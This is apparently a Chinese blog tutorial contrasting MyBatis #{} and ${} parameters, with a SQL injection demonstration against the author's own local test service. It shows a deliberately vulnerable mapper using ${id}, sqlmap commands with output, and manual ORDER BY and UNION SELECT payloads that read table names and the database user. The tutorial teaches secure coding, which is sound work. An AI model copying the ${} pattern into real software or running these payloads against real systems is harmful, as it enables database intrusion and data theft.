mybatis #{}与${}的区别与sql注入演示

mybatis #{}与${}的区别

使用#会对sql进行预编译，sql中参数将使用？占位。参数不参与sql编译，所以无法改变sql执行意图。
select * from user where id = ? paremter=1
使用$参数可以直接参与sql编译，为sql注入提供可趁之机，即
select * from user where id = 1

---

使用sqlmap进行sql注入

sqlmap是一款开源的sql注入检测工具

安装

git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
vim ~/.zshrc # 添加alias sqlmap='/Users/kevin/Softwares/sqlmap/sqlmap.py'
source ~/.zshrc

测试项目部分代码

• 控制层

@GetMapping("/test")
@ResponseBody
public ResultBean<UserDTO> findOne(@RequestParam(value = "id") String id){
    return ResultBean.success(userService.findById(id));
}

• userMapper.xml - 使用不安全的$

<select id="findById" resultMap="BaseResultMap" parameterType="String">
    select * from user_center.user
    <where>
        id = ${id}
    </where>
</select>

执行sqlmap命令

• 获取mysql数据库名

sqlmap git:(master) sqlmap -u "http://localhost:8888/user/test?id=1" --dbs

...

[10:03:01] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[10:03:01] [INFO] fetching database names
[10:03:01] [INFO] used SQL query returns 10 entries
[10:03:01] [INFO] retrieved: 'mysql'
[10:03:01] [INFO] retrieved: 'information_schema'
[10:03:01] [INFO] retrieved: 'performance_schema'
[10:03:01] [INFO] retrieved: 'sys'
[10:03:01] [INFO] retrieved: 'user_center'
available databases [5]:                                                                                                                            
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] user_center

---

上面是通过工具进行sql注入，以下演示手工如何进行sql注入

1. 利用order by 判断字段数
如先假设表总有9个字段，令其按照第9个字段排序。访问http://localhost:8888/user/test?id=1 order by 9。此时如果出现500异常，则该表字段树少于9。此时后台的异常为

2019-12-30 20:35:26.853  WARN 46496 --- [nio-8888-exec-6] .m.m.a.ExceptionHandlerExceptionResolver : Resolved [org.springframework.jdbc.BadSqlGrammarException: 
### Error querying database.  Cause: java.sql.SQLSyntaxErrorException: Unknown column '9' in 'order clause'
### The error may exist in com/study/exceptionhandle/dao/user/UserMapper.xml
### The error may involve com.study.exceptionhandle.dao.user.UserMapper.findById-Inline
### The error occurred while setting parameters
### SQL: select * from user_center.user      WHERE id = 1 order by 9
### Cause: java.sql.SQLSyntaxErrorException: Unknown column '9' in 'order clause'
; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: Unknown column '9' in 'order clause']

不断试探，最后发现按照第8个字段排序不会报错，即访问http://localhost:8888/user/test?id=1 order by 8返回正确响应。

{
	code: 0,
	message: "Success",
	data: {
		id: 1,
		wxId: "xxxx",
		wxNickname: "King",
		roles: "admin",
		avatarUrl: "a.jpg",
		createTime: "2019-12-11T16:37:22.000+0000",
		updateTime: "2019-12-11T16:37:22.000+0000",
		bonus: 50
	}
}

利用union select联合查询，获取表名、数据库名和用户名
访问
http://localhost:8888/user/test?id=1111111 union select 1,2,group_concat(table_name),database(),user(),'2019-12-11 16:37:22','2019-12-11 16:37:22',8 from information_schema.tables where table_schema=database()

{
	code: 0,
	message: "Success",
	data: {
		id: 1,
		wxId: "2",
		wxNickname: "bonus_event_log,user",
		roles: "user_center",
		avatarUrl: "root@192.168.65.3",
		createTime: "2019-12-11T16:37:22.000+0000",
		updateTime: "2019-12-11T16:37:22.000+0000",
		bonus: 8
	}
}

可知当前数据库名为user_center,当前数据库用户为root@192.168.65.3

---

更多sql注入知识参考：
sqli-labs